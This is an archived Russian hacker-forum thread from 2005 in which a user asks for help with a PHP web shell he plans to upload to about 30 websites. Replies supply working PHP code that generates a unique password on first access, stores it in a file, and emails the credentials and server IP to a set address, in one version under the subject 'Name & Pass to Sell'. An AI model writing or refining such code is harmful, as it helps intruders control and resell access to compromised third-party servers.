Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Вопрос по PHP

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Вопрос по PHP
Имя
Сообщение << Старые топики   Новые топики >>
Вопрос по PHP - 2005-09-15 18:41:15   
ne0-x

Сообщений: 15
Оценки: 0
Присоединился: 2005-08-26 22:30:57
Господа Хацкеры!
Если кто знает то помогите по такой теме:

Есть web-шелл написанный на PHP, поддерживающий авторизацию. Хочу закачать его на множество сайтов(порядка 30), да так чтоб на каждом был разный пароль для авторизации. Но при этом, не хочется каждый раз перед закачкой, лезть в исходники и изменять пароль.
Возможно ли в этот шел вставить PHP-скрипт, который бы при первом обращении к шеллу автоматически генерировал пароль и отсылал их на указанное мыло?

Если у кого есть такой скрипт, выложите плиз!
Post #: 1
Вопрос по PHP - 2005-09-15 22:05:42   
jEnizix

Сообщений: 1797
Оценки: 0
Присоединился: 2004-12-30 11:03:50
ща сделаю…
Post #: 2
Вопрос по PHP - 2005-09-15 22:24:55   
jEnizix

Сообщений: 1797
Оценки: 0
Присоединился: 2004-12-30 11:03:50
<?
$rnd = rand(111111,999999);
$message = "Password: ".$rnd." from ".$_SERVER['SERVER_ADDR'];
$to = "your@mail.ru";
mail($to, "pass from shell", $message);
?>
Post #: 3
Вопрос по PHP - 2005-09-15 22:43:37   
ne0-x

Сообщений: 15
Оценки: 0
Присоединился: 2005-08-26 22:30:57
Jenizix огромный тебе респект!
Сильно вырочил!
Буду пробовать.
Post #: 4
Вопрос по PHP - 2005-09-15 23:30:53   
ne0-x

Сообщений: 15
Оценки: 0
Присоединился: 2005-08-26 22:30:57
Jenizix извини за назойливость, но так как в PHP я шарю не очень, возникли вопросы:

Вот кусок кода моего шела запрашивающий авторизацию:
<?php
$name="root"; // логин пользователя
$pass=""; // пароль пользователя
if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)
{
header("WWW-Authenticate: Basic realm=\"AdminAccess\"");
header("HTTP/1.0 401 Unauthorized");
exit("Access Denied");
}
?>

Твой скрипт как я понял, выполняет исключительно генерацию паролей и отправку их на мыло, при этом не добовляя его в $pass="";
Что надо дописать в этот код чтоб он:
а)Записавал сгенирированный пароль в $pass="";
б)Генерировал пароль только один раз, при первом обращении к шелу.
(т.к. данный скрипт генерирует пас и отправляет на мыло каждый раз при обращении к нему)
Заранее благодарен!

P.S. Если тебе в напряг писать этот скрипт, то напиши мне его под заказ.
О цене думаю договоримся.
Post #: 5
Вопрос по PHP - 2005-09-15 23:42:29   
jEnizix

Сообщений: 1797
Оценки: 0
Присоединился: 2004-12-30 11:03:50
да ща накатаю…
Post #: 6
Вопрос по PHP - 2005-09-16 01:19:54   
jEnizix

Сообщений: 1797
Оценки: 0
Присоединился: 2004-12-30 11:03:50
Вот накатал: http://jenizix.net.ru/tmp/shell.txt

с тебя крутой шелл! [sm=sm203.gif]
Post #: 7
Вопрос по PHP - 2005-09-16 01:41:20   
AL

Сообщений: 515
Оценки: 0
Присоединился: 2004-07-19 03:19:44
Это мой вариант:
——————————————-
<?
if(!file_exists("shellpass.php"))
{
$name = rand(111111,999999);
$chars="qazxswedcvfrtgbnhyujmkiolp1234567890QAZXSWEDCVFRTGBNHYUJMKIOLP";
$max=10;
$size=StrLen($chars)-1;
$pass=null; while($max–)
$pass.=$chars[rand(0,$size)];
$shell_enter_rec="<?\n\$name = \"$name\";\n \$pass = \"$pass\";\n?>";
$file = fopen("shellpass.php", "w");
fwrite($file, $shell_enter_rec);
fclose($file);
$message = "Name: ".$name."\n Pass: ".$pass."\n IP: ".$_SERVER['SERVER_ADDR'];
mail("mail@mail.ru", "Name & Pass to Sell", $message);
exit;
}
else
{
require "shellpass.php";
if(!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
$HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name ||
$HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)
{
header("WWW-Authenticate: Basic realm=\"AdminAccess\"");
header("HTTP/1.0 401 Unauthorized");
exit("Access Denied");
}
else
{
echo "Тут твой шелл";
}
}
?>
——————————————-
С надеждой на шелл[sm=9.gif][sm=go139.gif]
Post #: 8
Вопрос по PHP - 2005-09-16 01:55:05   
AL

Сообщений: 515
Оценки: 0
Присоединился: 2004-07-19 03:19:44
Jenizix, у тебя постоянно первый запуск, постоянно пароль меняется и постоянно mail'ы шлются….. Ну, в общем,, ты, надеюсь, сам заметишь….[sm=go139.gif]
Post #: 9
Вопрос по PHP - 2005-09-16 02:25:53   
jEnizix

Сообщений: 1797
Оценки: 0
Присоединился: 2004-12-30 11:03:50
у меня все ок!
Post #: 10
Вопрос по PHP - 2005-09-16 03:12:12   
AL

Сообщений: 515
Оценки: 0
Присоединился: 2004-07-19 03:19:44
Да Jenizix, пордон. Код рабочий……[sm=go139.gif]
Post #: 11
Страниц:  [1]
Все форумы >> [В Сети] >> Вопрос по PHP







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.